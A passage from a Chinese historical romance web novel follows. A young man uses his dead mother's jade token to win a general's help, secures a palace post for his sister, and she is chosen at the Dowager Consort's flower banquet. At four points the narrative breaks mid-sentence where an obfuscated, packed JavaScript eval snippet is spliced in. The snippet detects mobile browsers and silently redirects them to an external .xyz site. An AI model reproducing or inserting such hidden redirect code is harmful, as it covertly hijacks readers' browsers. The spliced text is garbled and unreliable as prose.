但她是个再谨慎不过的性格，当年即便对皇帝有抚养之恩，却也坚决地辞让了太后的位置，避免宗家过于坐大，如今上了年纪，更是不会为自己的私欲，折腾出什么事端了。 宗尧之闪身让开，道：“我才请过安出来，你去吧。太妃今天心情一般，说话小心些。” 陈筠眉梢微动，问道：“是因为西南的战事吗？” 宗尧之点头，目光也有些凝重：“是，前日，我父亲已经挂帅出征了。” “只是各地军户废弛，临时拉起来的新兵，光是到那烟瘴之地，都不知道要折多少进去……” 当今天子，已经在那把龙椅上安坐了几十年，和史书上绝大多数做到这个年纪的皇帝一样，日渐走向昏聩。 若非如此，安定了多年的西南诸国，也不敢作乱。废弛的军队，只是一个微不足道的缩影而已。 宗尧之顿了顿，没继续往下说。 他的视线落在陈筠肩上的浮白上，不经意般问道：“怎么没撑伞？” 陈筠仿佛没有听见，她拢了拢风帽，朝他屈膝一福，便继续往前了。 宗尧之只回头看了一眼，很快便收回了目光。 他是外臣，没有在宫中久留，出宫后，骑马回了将军府。 一到将军府，府里的亲兵就迎了上来，为他牵马。 “二爷，今天府里来客了。”亲兵压低了声音道：“当铺那边的消息，说有个小子，拿着咱家的信物，找来了。” 宗尧之抛开缰绳，扯来巾帕，胡乱擦了一把脸上粘的雪粒子，问道：“哪来的小子，问了名姓吗？” “他说他姓薛。” “薛……”宗尧之皱了皱眉，把擦过脸的帕子往亲兵手上一丢：“人在哪？带我过去。” …… 前厅里，薛云朔已经等了有一会儿了。 方才，他依照朱婉仪临终前的吩咐，去到了一家偏僻的小当铺，言道要当那块玉佩。 玉的水头和成色都不错，小二留他坐下，拿着去找了掌柜。 薛云朔在当铺内坐了许久，心情渐泛起了一些微妙的毛躁。 来之前，他便有所猜测。 朱家从前也算钟鸣鼎食之家，会留下点什么依托，不算稀奇。 但是时间已经过去了太久，加之树倒猢狲散，他不知道母亲留下的所谓“信物”，是否还有效力，又是否能护得了她的女儿。 如果没用……那就得想别的办法了。 薛云朔攥紧了拳头。 总之，他是不可能任她一个人留在薛家，受人摆布的。 好在，当铺的掌柜很快现身，确认了信物之后，甚至直接领他来到了这昭武将军府。 薛云朔颇有些意外。 凭他对当今局势的了解，这昭武将军多年以来，一直是皇帝的忠实拥趸，从不参与朝野之争，更别提沾染储位了，与当年明面上就是太子党的朱家，更没半点牵系。 朱婉仪留下的信物，怎么会与宗家有关？ 终于，前厅外有脚步声传来。薛云朔站起，眉梢微扬，循着声音看了过去。 连廊的拐角处，走来一个英武男子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111485|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身高腿长、臂膀宽阔，走起路来，一步顶得上寻常人两步半，一看便是习武之人。 薛云朔打量他的时候，宗尧之也看了过来。 本不过闲闲一眼，可他的视线落在薛云朔脸上的时候，倏而就凝住了。 怎么是他！ 这不是那天，他与父亲宗甫在望春楼的二楼吃酒，瞧见的那小郎君么？ 那时他还觉得，这小子长得有些像天家人，还与父亲说笑了两句来着。 宗尧之微微有些吃惊，不过他很快便收敛了神色，若无其事地开口道：“薛……小公子，请坐。” 薛云朔朝他抱拳一礼。 宗尧之走到厅前，待到坐下，又问：“你这个薛，是哪一笔的薛？” 薛云朔垂了垂眼，答道：“吏部右侍郎薛永年，正是家父。” 八竿子也打不着啊？ 闻言，宗尧之更是满心疑惑了。 好在薛云朔已经拿出玉佩，双手奉上。宗尧之接过，定睛看了看，随即屈指在玉佩上挂着的小坠子上一弹。 “确实是我宗家的东西。”宗尧之取下了这颗平平无奇的绿坠子，把玉佩又还给了他，“说说吧，你这玩意是哪儿来的，今日找上门来，又为的是什么。” “椟”才是信物，“珠”只是添头？ 薛云朔沉吟片刻，握着玉佩，拣着重要的部分解释了一通。 毕竟，眼下是有求于别人，不是隐瞒的时候。 宗尧之越听，神色却越古怪了起来：“你确定没有记错么？你母亲临终前，说，让你拿玉佩，去找一个叫青鹞的人？” 薛云朔拱手，垂眸：“千真万确，未敢杜撰。” 宗尧之忽而问道：“你知道，青鹞是谁吗？” 不待薛云朔回答，他自己先笑了起来。 青鹞，是他老子宗甫的小名！他还是长着顺风耳，才听他娘这么喊过他爹！ 可很快，宗尧之便笑不出来了。 朱家女的遗物、宗家的信物…… 还点名要见他父亲。 宗尧之的右眼皮剧烈地闪动了起来。 他站起身，抬起视线在这前厅扫了一圈，随即扬手示意，让厅前本就不多的仆下，俱都退了出去。 他微眯了眯眼，盯着这张有些肖似谢家人的面孔，心底，忽然浮现起一个极荒诞的念头。 “薛小公子，某冒昧地问一句……”宗尧之一字一顿地问道：“你如今，是什么岁数？” —— 雪停了。 只比铜钱大一点的太阳，悬在远山尽处，散发着一些聊胜于无的热意。 神色冷然的少年提着一只纸包，慢腾腾地回到了薛家。 薛云朔的心情有些沉闷，庭前的积雪受了牵连，叫他踩得嘎吱作响。 就快要到西厢的时候，他的脚步却忽然顿住了。 他的妹妹侧坐窗前，正微微勾着脖子，聚精会神地盯着手上的绣绷。 红线缠绕在她莹润素洁的指尖，上下翻飞，像一只捉不住的蝶。 薛云朔立在原地，察觉自己的视线被这根红线牵引许久的时候，天色已然又暗了一些。 不知是他的呼吸太轻，还是她太入神了，她完全没有觉察他的到来。 直到他的声音在窗前响起：“怎么坐在窗口，不冷吗？” 薛嘉宜猛地一回神，在意识到是谁回来了之前，她的眼睛就先亮了起来。 “哥？”她放下绣绷，站了起来，有些不好意思地道：“你走路没声音的呀——还好，不是很冷。屋子里待久了闷，吹吹风也好。” 哪里没声音，分明是她没听见。薛云朔轻笑一声，神色稍释。 她一贯如此，做事时只要沉浸下去，别说旁人，就是连自己都能忘了。 他走进了屋里，随嘴问道：“在绣什么？” “给全嬷嬷的，我见她荷包旧了，正好一直在想该怎么谢谢她。”薛嘉宜随手把针扎到绣绷上，迎了上去：“怎么才回来？” 薛云朔朝她举起右手，给她看提溜着的纸包：“今天茶肆不顺路，换了家点心铺子买的，尝尝？” 薛嘉宜从他手里接过绳子，有点不好意思地道：“倒显得我多馋嘴似的。” 薛云朔低眸笑笑，没再看她，也没说什么。 他的表情一如往常，薛嘉宜却察觉到有些微妙的不对。 想及今日还不知他去了哪里，薛嘉宜秀气的眉心微蹙，问道：“哥，你今天……怎么了？” 17.017 见他不答，薛嘉宜立时便急了。 “哥——”她拖长了声音，哀怨地喊他：“你又这样！不声不响的，叫我担心。” 虽然今天的事情没打算瞒着她，但见她这样，薛云朔还是起了逗弄的心思，板起脸道：“还管上我了，你是哥哥我是哥哥，嗯？” 薛嘉宜抿着嘴不答，但还是直勾勾地看着他，意在不言中。 她生着一双乌漆漆的杏眸，眼黑比眼白要多许多，如这般抬着浓云似的眼睫看人的时候，任谁见了都心软。 薛云朔不知叫她这样盯过多少回了，每每见她这样的眼神，还是只有缴械投降的份。 他别开一点视线，把那装着吃食的纸包慢条斯理地拆了，才道：“吃吧，我边和你说。” 他既开口了，就不是哄她的。薛嘉宜这才展颜，乖乖坐了下来。 雪白的云片糕入口即化，丝丝缕缕的甜意沁在舌尖，薛嘉宜安静地嚼嚼嚼，听他的话音响在耳边。 “我今天出去，是为了这个。”薛云朔从怀里掏出了那块玉佩，放在了桌面上：“母亲留下的遗物，总得一探究竟。” 薛嘉宜伸出手，想摸一摸这块玉佩。可感受到上面残留着的他的体温的瞬间，不知怎的，她像是被烫到了一般，蓦然抽回了指尖。 她的小动作一直很多，薛云朔没太在意，继续说了下去。 听到那当铺掌柜领他去了昭武将军府的时候，薛嘉宜的眉梢蹙了起来。 能叫母亲临终托赖的，一定是值得托付的关系。可朱、宗两家一文一武，从没听说过有什么瓜葛。 “好奇怪哦。”薛嘉宜不由追问：“然后呢，那宗将军是怎么说的？” 薛云朔有一瞬沉默。 他也有些说不上来的感觉。 宗尧之看他的眼神，就像是看什么危险的东西，问清楚他的年纪之后，这人的神色更是大变，像是勘破了什么了不得的大事。 “他说，玉佩上的那枚坠子，是宗家的信物没错。这信物，宗家从不轻易许人，知道的人也极少。” “也许是再上一辈的人有旧，具体得问问那位宗老将军才知道缘由，但可惜几日前，他正好挂帅出征了。” 直到这时，薛嘉宜才后知后觉地回过劲来，问道：“哥，你为什么……突然要去寻这玉佩的究竟？” 按说他们来京城也有些时日了。 这不是一个很难回答的问题，薛云朔却觉喉头一哽。 他偏开头，不去看她黑白分明的眼睛，声音放得很平：“因为我想好了，打算去投军。” 话音落下，小小的一间屋子倏而就安静了下来。 薛嘉宜蓦地睁圆了眼睛，瞳仁轻颤。 薛云朔低下眼帘，浓密的眼睫掩去了眸底隐秘的神色。 ——远走行伍，那必定是要与她分别了。 房间里有些暗，他侧转过身，去点亮了灯台上的半只蜡烛。 薛嘉宜的眼下投着一片细碎的、晃动的阴影，不知是因为火苗轻曳，还是长睫本就在扑朔。 她轻声开口：“从军，很危险吧。” 薛云朔盯着那一星火苗：“有舍有得。” 她咬了咬唇，忍不住问道：“是因为……这次的事情吗？” 明明这些年，他一直在读书的，虽说时常进山打猎，但那只是为了贴补家用。 是为了她，才选择走向这样一条危险的路。 虽然不想她有心理负担，但薛云朔没有直接反驳这句话。 她素来敏锐的，矢口否认，只会叫她更怀歉。 “不全是。”他终于还是回转过身，在朦胧的烛光里认真看着她：“我并不喜欢囿于四方书房，日复一日的苦读。好男儿志在四方，我本就向往亲身去建功立业。” 从听到兄长打算投军起，薛嘉宜的嘴角就耷下去了，这会儿听他这话，也只勉力提起来一点。 她很轻很轻地嗯了一声，若有所思地道：“其实也好，不然父亲那边……” 以薛永年的官职，他若是有心阻止，恐怕薛云朔进入考场的资格都没有。 薛嘉宜顿了顿，努力朝兄长扬起一个笑：“哥，不管你走哪条路，我永远都相信你。” 薛云朔轻轻一笑，追问道：“相信我什么？” 她眨眨眼，道：“相信全部的你啊。” 饶是她对她从来都是独一份的热烈，这样不加掩饰的吹捧，薛云朔听了还是有些赧然。 他稍偏过头，趁薛嘉宜放松警惕，右手的掌心落在她的发顶上，重重地搓了一把。 小时候，他就常仗着比她高摸她脑袋，等她大一点，会抗议说，他把她摸矮了的时候，他就不这么干了。 和记忆中的触感并无区别，薛云朔唇角笑意犹在，眼底终究还是泛起了一丝异样的情绪。 过去的十六年里，他们从未分开过。 他甚至料想不到，与她别后，会是一种怎样的心情。 他声音低沉：“留你一人在薛家，我不放心。” 薛嘉宜抿了抿唇，道：“我已经及笄了，是大人了，你不必为我担心许多。” “而且……”像是怕自己耽误他似的，她甚至还找来佐证：“这段时日，你瞧，不也没有谁再来找麻烦吗？” 薛云朔未置可否，却是摇了摇头。 从当年立时便能与发妻割席的态度来看，薛永年绝对不是一个有情之人，遑论他们在乡下长大，与他本就没什么相处。 这段时间，薛家人是漠视了他们，可这只是因为，一时还没再遇到一个值得把她放上的价码，没想好要怎么处理他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121153|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄妹俩罢了。 “我今日拿上玉佩，便是想与你寻个托处。”薛云朔道：“那位宗将军认了信物，答应了我的所求。” 薛嘉宜还有些懵，不由问道：“哥……你、你要把我嫁出去吗？” 有一就有二，薛云朔又搓了她脑袋一把，冷笑问道：“你很想嫁？” 不知道为什么，薛嘉宜总觉得他这个问题有点危险。 她缩了缩脖子，没回答他这话，只发出小小的抗议声：“头发都教你摸乱了。” 薛云朔皱了皱眉，察觉到了自己方才那一瞬的语气有些不对。 要紧事当前，他没有深思，只收敛神色，正色道：“不嫁人的路有很多，譬如教授你的那位陈女官，至今也未婚配。” 薛嘉宜歪了歪头，看着他。 薛云朔继续道：“宫里前两年放了一批人出去，那位宗太妃，身边的位置空了许多。近来，她有意要选两个年轻的姑娘家陪在身边。” “如果你愿意进宫，和你的老师一样做这个女官，我便去回那宗将军，请他出面帮忙，在过几日的花宴上，报上你的名字。” 宗太妃地位尊贵，对身边亲近之人也从不薄待，去她的身边侍奉，算是一件镀金的好事。 因此，她要选女官的消息，在京中有适龄女孩儿的人家里，早就传开了。 愿意应召的不知凡几，但总归还是要看宗太妃自己的眼缘，故而宫里打算以赏花宴的名义，请这些姑娘家来。 薛嘉宜听明白了是什么意思。 女儿在家中，自然要听从父母之命。 但若在宫里有了身份，那即使是父亲，也不能轻易摆布她。 说不意动是假的，可薛嘉宜的眼神却有些细微的闪烁。 薛云朔看出了她的犹疑，以为她是畏惧于深宫内院，出言安抚。 “你别怕，我探听过了，那位宗太妃风评不错，她一向避世，不怎么沾惹那些宫闱之争。既是在十指不沾阳春水的闺秀里选，选的是女官、而不是宫女，想来也不会有太粗重的活计。” 薛嘉宜确实有一点害怕陌生的皇宫，但是不多。 至于后面那句，她更不担心了。 在严州府时，虽有洪妈妈和安伯，但是四个人的生活起居，只他们两人肯定是忙活不完的，她和哥哥都没少干活。 “也就是说……”薛嘉宜酝酿了一下，才慢吞吞地问道：“那位宗将军，愿意看在信物的份上，帮我们一个忙？” 薛云朔颔首，随即扬眉看她：“为什么突然问这个？” 她有些扭捏，却又不无期冀地开口了，眸子里有光闪过。 “我觉得……” “哥，你既要从军，眼前有机会入那昭武大将军的麾下，不比我去做一个小小女官，来得更合算吗？” 18.018 薛云朔挑了挑眉，一时没说话。 见状，薛嘉宜以为他没明白，赶忙解释道：“战场上，再好的身手，也得有人赏识呀，既然有这样的机会，总比自己应征，从做大头兵起要好……” 大概是想到了他可能会遇到的危险，她的声音越说越低，不过语气并没有减弱。 行伍间等级分明，若无人赏识，只被安排去填线，即便有天大的本事，也是凶多吉少，更别提建功立业了。 不待她说完，薛云朔便斩钉截铁地打断了她：“不用想这么多了，如果你不排斥进宫去当这个女官，明日，我便去回那宗将军，请他看在信物的份上，为你安排。” 他的语气是前所未有的强硬：“至于我的前程，我不需要谁来给我铺路，尤其——不需要你牺牲。” 薛嘉宜轻轻皱了皱眉，显然并不赞同：“这怎么能算我为你牺牲呢？那块玉佩……母亲是我们两个人的母亲，既是她留下的东西，只用在我头上算什么？” 她知道，母亲在世时一直是偏心于她的，也正是因为她知道，所以才一直想弥补上对兄长的那一份薄待。 “这件事没得商量。”薛云朔神色冷然，不容分说地道：“保护你，也是母亲临终前的意思。” 见他油盐不进，一点商榷的余地都不给，薛嘉宜气得一跺脚，扭过头道：“非要这么说的话，难道这么多年，你都只是因为母亲的意思，才对我好的吗？” 此话一出，薛云朔漆黑的瞳仁闪了闪，随即也别过了头去。 “你可以这么想。” 他没看她的眼睛，只平静地回答。 话刚出口，薛嘉宜其实就自觉有些过分了。 她这样说，仿佛否定了他们兄妹俩过去的所有，仿佛他所做的一切，都并不出自他的本心，而只是为了一个在记忆里渐渐泛黄的誓言。 可听薛云朔这样回答，薛嘉宜还是气不打一处来。 她又跺了两下脚，瞪他一眼，正要转身走掉，却听得身后他叫住了她。 “等等。”见她回头，薛云朔并没有挽留，只指了一下桌上的纸包，“你的云片糕，拿走。” 他垂着眼帘，半边轮廓沉在烛火没有照亮的阴影里，神色晦暗不明。 薛嘉宜果真顿足，朝他走来，却并没有去拿那纸包。 “谁稀罕这一口吃的了。”她几乎是咬牙切齿地道：“有人背上的伤还没好呢。你坐下，我给你换了药就走，随你怎么安排。” 薛云朔沉默一瞬，抬眼见她已经去打水净手了，终究没再拒绝。 天色又暗了几分，一盏灯已经不是很够了，薛嘉宜准备好了换药所需的东西，本想去再点两只蜡烛，瞥见薛云朔正站在衣桁前一件件地脱衣服，想了想，还是算了。 她稍稍移开眼，尽力目不斜视，随即如之前的每一日一样，为他擦拭，又为他敷上新药，重新裹好干净的细纱。 薛嘉宜原本还存着一点赌气的心思，可看到他背上这些将近月余、依旧未能好全的伤口，心里便只剩下难受。 她咬了咬唇，正想着该怎么为刚刚的话道歉，却听得薛云朔先开口了。 “就当是为了我。”他明明离得很近，声音却显得有些渺远：“你不安定下来，我无法安心。” —— 第二日一早，薛云朔又去了一趟昭武将军府。 “有劳宗将军。”他朝宗尧之抱拳一礼，神色谨然：“此番，我也要替舍妹多谢您。” 他一开始并未抱有期望，毕竟，只有一个尘封了那么多年的旧物。 没想到这位宗将军真的会施以援手，而且帮得相当干脆，连缘由都没问，也没打听薛家的情形。 宗尧之爽朗一笑，道：“微末小事，无需在意。太妃本就是我的姑母，我与她说一说就好。” 只是陪伴太妃的女官而已，不是什么紧要的位置，即便宗太妃没瞧上那个薛姑娘，多选她一个留在庆安宫，也不是大事。 薛云朔闻言，又是长长一揖，宗尧之的眼神微妙地闪了一闪，在他拜下之前扶住了他的肩膀。 眼前这位的身份，已经八九不离十了，当年那位太子妃难产后，恐怕，不是一尸两命…… 只是手一抓上薛云朔的肩膀，宗尧之的职业病就有点犯了。 这两日见这少年人虽因还在抽条，身形略显单薄，行止间下盘却极稳，宗尧之本就有心试他一试。 说是迟那时快，他当即便出手了，扣在薛云朔肩头的那只手猛然缩回，随即化掌为拳，直冲他的面门而去。 薛云朔微微一惊，虽不知宗尧之为何突然发难，但身体的本能已经极其迅速地做出了反应。 他大退两步，微一后仰，旋即飞快地定住了身形，在宗尧之的下一拳来临之前，已经摆出了招架的姿态。 “好小子！”宗尧之的声音忽然高昂了许多。 薛云朔明白了这是什么意思，沉下心来，开始应对。 无论如何，他都不会是一个已经三十多岁、还有家学渊源的武将的对手，但是对面显然并无恶意，薛云朔很快便换了一种心态。 能与这样的人切磋的机会很难得，他一面化招，一面开始学习对面之于招式的处理。 宗尧之本意是为了试探，察觉到自己不知不觉、反在薛云朔的引诱之下，开始给他喂招的时候，有那么一瞬间，几乎都气笑了。 “拳脚不错，可惜都是野路子。”差不多试探完了，宗尧之收势、抱臂，问道：“你师父是谁？” 薛云朔垂着眼帘，道：“赵二叔。” “哦？”宗尧之好奇问道：“这是谁？” 难道说，是朱家当年悄悄安排的什么人物？ 薛云朔不卑不亢地答：“是严州府乡间的猎户。我随他进山打猎，学过一些。” 宗尧之嘶了一声，琢磨了一下，终究还是问道：“此番，你为什么要替你妹妹做诸多安排？” 还未弱冠的年纪，相比兄长，操的简直是当爹的心。 薛云朔没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125670|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有隐瞒，道：“不瞒宗将军，西南战事纷纷，四境都在募兵，我有心沙场建功，唯独不放心舍妹。” 看来薛家内部是有些故事了。 不过宗尧之并不关心这个，他扬了扬眉，眉宇间露出了一点玩味的神色。 “起自募兵，即便你身手不错，至多也不过从伍长做起。不若这样……”宗尧之道：“你既找上门来，我们也算有缘，我去信一封，将你直送我父亲部前，让他直接提拔你，栽培你，可好？” 他说完，好整以暇地等着薛云朔的反应。 听了这话，薛云朔的眉心倏而一跳，不过，他的神情，也只有这一点微妙的变化了。 “多谢宗将军，不过不必了。”他平静地作答，仿佛没意识到自己拒绝的是怎样的一个大饼。 宗尧之没想到他居然不答应，不由追问道：“为什么拒绝？” 薛云朔抬起黑沉沉的眼瞳，直视着他道：“无功不受禄，宗将军能看在旧物的份上，帮一把舍妹，我已是感念万分。” 事实上，这两次来到这座将军府，眼前这位宗将军微妙的、若即若离的态度，已经叫他察觉到不对了。 愿意帮薛嘉宜一把，还可以说只是看在那信物的份上，举手之劳。 再对他如此一帮到底，甚至直通到那位昭武大将军面前，又是为了什么？ 宗家将门世家，有本事的人应该见得多了。薛云朔不觉得，宗尧之表现出这样的态度，是因为他身手不错，起了爱才之心。 世间万事万物都有其代价，他不相信会有谁对他无缘无故的好。 洪妈妈与安伯照顾他们兄妹俩多年，是因为朱家对他俩有恩义；猎户赵二叔会传授给他吃饭的本事，是因为赵二叔自己年岁渐长、儿子又不争气，而他学艺之后进山打猎的收获，都会如数交予他一部分。 这位宗将军，一定有所图谋。 闻言，宗尧之不禁眯了眯眼。 他确实是抱着，趁着眼前这位疑似皇太孙的少年尚在微时，朝他施恩的想法，未料得他拒绝得如此斩钉截铁。 高看薛云朔一眼的同时，他不禁也有些怀疑自己的判断了。 那位故太子，最是清风朗月的一个人，即便相交很少，他也有所耳闻。他的亲儿子，会是这样一个满心戒备，小小年纪便能数出几转心思的人吗？ 不过话已至此，宗尧之倒也没有勉强，只拍了拍他的背道：“少年人，有志气。去吧，凭你的胆气，相信即便没有引荐，我父亲也一定会看到你的。” 他拍打的动作没有留力，薛云朔一时不察，加之背上有伤，叫他拍了一个趔趄。 宗尧之觉出不对了，问：“有伤？” 挨打总不是光彩的事情，但是被问起了，薛云朔倒也坦坦荡荡：“是，家法。” 闻言，宗尧之的表情忽然变得古怪了起来。 皇家的恩怨暂且不提，他忽然很想看看，那位薛侍郎，他日得知自己打过谁之后，会是怎样一番精彩的表情？ 19.019 京城的冬一天冷过一天，冬至后的这天清早，薛家迎来了一位贵客。 送走那面白无须的小宦官后，秦淑月摸着宫制的烫金请柬，脸上的笑容里浮现起一丝疑惑。 “莫不是老爷那边和宫里走动了？这宗太妃的花宴，居然给我们家里的姑娘递了帖子。” 紫珠在旁提醒：“咱家里的姑娘，不就那一位吗？夫人您忘啦，她那女师，从前不就是太妃娘娘宫里的？” 秦淑月这才恍然大悟般，拉长音调感叹了一声，“这段时日，那位陈女官不怎么来，我都快忘了。” 说着，秦淑月越发觉得这个说法有道理：“嘶……她倒是走运，遇到了好老师。算了，去，把大姑娘叫过来。” 薛嘉宜被传过去的时候，并不知道发生了什么，不过见秦淑月拿出了那封请柬后，她便明白了。 “这两日，你好生准备，莫丢了薛家的颜面。”秦淑月把请柬交到了她手里，继续道：“选得上最好，选不上倒也无妨，就当开开眼界，见见各家的闺秀。到时我叫紫珠随你一起去，她中用些。” 好赖话薛嘉宜是听得出来的，想及继母上回还为兄长开口求情了，她不无感激地道：“多谢夫人，我会好好准备的。” 更圆滑的话，她也说不出来。 秦淑月笑笑，一面摆手让薛嘉宜下去，一面与紫珠道：“既是女官大人提携，薛家也该备份礼回去……” 薛嘉宜安静地退下，把这话听到了耳朵里。 她回到自己那间小小的次间，把挂在楔子上的彩绳取下了。 这根长命缕，她已经编好几天了，却一直别扭着，没有送出去。 再不送，他是不是就要走了？ 薛嘉宜垂着眼，把收尾的结扣盘好，拿上它，去了西厢。 这几日，薛云朔时常不在屋子里，她不知道他是去做什么了，但隐隐约约能猜到一些。 其实上回也不算是吵架了。 可不知为何，想到悬而未决的离别，她明明是不舍得的，却反而有些不知道该如何面对他。 薛嘉宜原想着，把长命缕悄悄放下就走，结果到了西厢，却见那一道熟悉的身影，正在院中。 来都来了，不好心虚地转头就走。她抿着唇上前，很轻很轻地叫了他一声：“哥。” 薛嘉宜在外面盘桓的时候，薛云朔就听见了她的动静。 他对她的脚步声，简直比对自己的还熟悉。 不过直到她扭扭捏捏地进来了，他也才站起来，假装才听到她的声音一般，淡淡应了一声：“怎么过来了？” 薛嘉宜捏了捏掌心里的彩绳，答道：“赏花宴的请柬，秦夫人已经给我了。” 算算时间，确实差不多了。薛云朔并不意外，只道：“好事落在薛家，他们倒也不会阻挠。” 薛嘉宜不去看他身后打开的箱笼，也不去想，他刚刚是在因为什么收拾东西。 她把唇线几乎抿得发白，随即，用轻松的语气回道：“嗯，我晓得的。哥，你都……打算好了吗？” “差不多。”薛云朔微微颔首，扬眉道：“募兵不像科考，祖宗十八代都要盘查清楚，我可以搞定。” “父亲那边，不会阻拦吗？” “先斩后奏吧，等他知道我走了之后，已经来不及了。我会留信给他，多一个去挣军功的儿子，对他来说不是坏事。” 薛云朔说完才发现，薛嘉宜已经走得离他很近了。 她垂着眼睫，朝他摊开手心：“喏，给你的。” 看到那条长命缕的瞬间，薛云朔感叹：“怪不得突然来找我。” 薛嘉宜听出了他语气里的调侃，抬头，用雾蒙蒙的眼睛瞪他：“你要不要？” 薛云朔手都伸一半了，闻言一顿，挑眉看她：“旧的你要收回去吗？” 不待她回答，他便一把将那长命缕夺了过来。 “新的我要。”薛云朔难得笑得张扬：“旧的我也不还你。” 见他拿着彩绳，在自己的腕间比划了半天也戴不上，薛嘉宜偷偷翻了个白眼，心里嘀咕了句真笨，才道：“手给我，我给你戴。” 薛云朔拿人手短，只得听从。 她认真地替他戴着手绳，眼神里别无他念，只有柔嫩的指尖，偶尔会无可避免地，轻轻擦过他腕间的皮肤。 薛云朔的喉结几不可察地滑动了一下。 他低垂眼睑，忽然很郑重地唤她：“浓浓。” ……还借着这个动作，双手合握住了她的手。 薛嘉宜本能地想要闪避，一抬眼，却正好撞进他幽深的眼瞳。 熨帖的热意自他的宽厚指掌间传来，她的眼睫微颤，轻声唤他：“哥？” 他的眼神很深，深到她望也望不见底，可开口时，却是云淡风轻，甚至还勾起唇角，轻笑了一下。 “我终会出人头地，护你周全。”薛云朔松开手，留给她一个很潇洒的侧脸：“等我回来。” —— 请柬上的日期很快就到了，薛嘉宜穿着身藕荷色的竖领对襟短衫，下系一条织金马面，坐上了进宫的马车。 在揣摩人心这方面，秦淑月很有些心得：“虽说皇宫是巍峨庄严的地方，可也要看是去干什么的。” “太妃娘娘都多大年纪了，在宫里什么端庄的姑娘家没见过？这一次，她就是想选些年轻鲜活的颜色陪在身边，打扮得跟个老学究似的，反倒讨嫌。” 头回进宫，薛嘉宜难免有些紧绷，不过等马车进了宫门，开始要步行往庆安宫之后，她的内心，反倒渐渐平静了下来，并没有把这次的赏花宴，当成救命稻草一般紧张。 虽说赏花只是为这场宴席立下的名目，宫里的布置，依旧没有懈怠。 许多不属于这个季节的鲜花，都在盆中大朵大朵的盛放着，更不必说应季的水仙、腊梅，那更是开得花团锦簇，远远望去，好似一团一团的祥云。 宴席之上，各家的贵女也正如枝上鲜花一般，开得热烈。 薛嘉宜略一定神，在拥簇的人群中，看见了一张熟悉的面孔。 正是洗尘宴时来过薛府的，那位徐尚书家的女孩儿、徐柔歆。 徐柔歆的手帕交此番不在，她也落了单。 两人打了招呼，聊了好一会儿，那位传言中的宗太妃，总算是姗姗来迟了。 和薛嘉宜想象中的和蔼老人很是不同的是，这位宗太妃偏瘦，脊背微隆，脸颊也因上了年纪，凹陷无肉，但是皮肤并不松弛，还算紧致，依旧能看出盛年时的容华与气度。 原本喧闹的席间，因为正主的驾临，立时便安静了下来。 女孩子们忐忑又雀跃，在女官的带领下，齐刷刷地向太妃请安。 随即便是几项在宴前就知会了各家的流程，投壶、插花……不一而足。 众贵女们虽然知道，此番并不是选状元，主要看的还是太妃的眼缘，也都铆足了劲，想要表现自己。 薛嘉宜低着脑袋，随大流地跟在人群里。 虽说这一次的机会难得，但她清楚自己的斤两，对自己没有那么高的期待，并没有打算强出头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133979|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宗太妃坐在炉火边，捧着手炉，神色和缓。 “是那个姑娘吗？”她遥遥指了指院中那个藕荷色的身影，问身边的大宫女繁炽。 繁炽定睛看向薛嘉宜的方向，点了点头：“是那一位。只是奴婢实在好奇，这……二爷为什么要和您说这么件事，留这么个姑娘下来？” “孩子难得有求于我，管那么多做什么。”宗太妃的目光也落在薛嘉宜的身上：“瞧着也是个可心的，没这茬，我没准也会挑她。” 繁炽试探着道：“那另一位……” 这一次，宗太妃是预备选两个新女官来着。 宗太妃没有犹豫，又朝徐柔歆的方向点了一点。 繁炽会意，去往席中，收束了渐起了玩心的闺秀们，随即，便简单明快地宣布了太妃的意思。 徐柔歆对自己的入选有些惊喜，却也不那么意外。 她和薛嘉宜一道上前，与太妃行礼。 谢过恩后，徐柔歆忍不住侧目看向薛嘉宜，见她眉眼间依旧平和，并无喜色，心下一惊。 她一直觉得，薛家新近认回的这乡下姑娘，性格有些钝钝的，也未见有多么出挑的地方，可这么一看，倒实在有些太沉着了。 一样米养百样人，难道说，这薛姑娘一直都只是内秀于心，没有将城府表现出来？ 徐柔歆忍不住暗忖。 